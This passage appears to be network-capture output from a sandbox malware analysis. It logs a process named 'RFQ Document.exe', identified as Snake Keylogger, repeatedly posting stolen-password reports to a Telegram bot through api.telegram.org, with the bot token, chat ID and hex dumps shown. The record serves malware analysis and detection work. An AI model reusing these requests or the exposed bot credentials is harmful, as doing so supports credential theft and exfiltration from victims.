{"ok":true,"result":{"message_id":12605,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808705,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.4	50076	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:38 UTC	397	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f06e24ed Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:38 UTC	398	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 30 36 65 32 34 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f06e24edContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:38 UTC	398	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:38 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:38 UTC	398	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12838,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808778,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.4	50078	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:39 UTC	399	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f08ac29c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:39 UTC	399	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 30 38 61 63 32 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f08ac29cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:39 UTC	400	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:39 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:39 UTC	400	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12839,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808779,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.4	50080	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:39 UTC	401	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f0a9c21a Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:39 UTC	401	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 30 61 39 63 32 31 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f0a9c21aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:39 UTC	401	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:39 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:39 UTC	402	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12840,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808779,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.4	50082	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:39 UTC	402	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f0cfe7e3 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:39 UTC	403	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 30 63 66 65 37 65 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f0cfe7e3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:39 UTC	403	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:39 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:39 UTC	403	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12841,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808779,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.4	50084	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:39 UTC	404	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f0f60d43 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:39 UTC	404	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 30 66 36 30 64 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f0f60d43Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:39 UTC	405	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:39 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:39 UTC	405	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12842,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808779,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.4	50087	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:40 UTC	405	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f11c3109 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:40 UTC	406	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 31 31 63 33 31 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f11c3109Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:40 UTC	406	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:40 UTC	407	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12843,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808780,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.4	50089	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:40 UTC	407	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f1425682 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:40 UTC	407	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 31 34 32 35 36 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f1425682Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:40 UTC	408	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:40 UTC	408	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12844,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808780,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.4	50091	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:40 UTC	409	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f1615788 Host: api.telegram.org Content-Length: 407
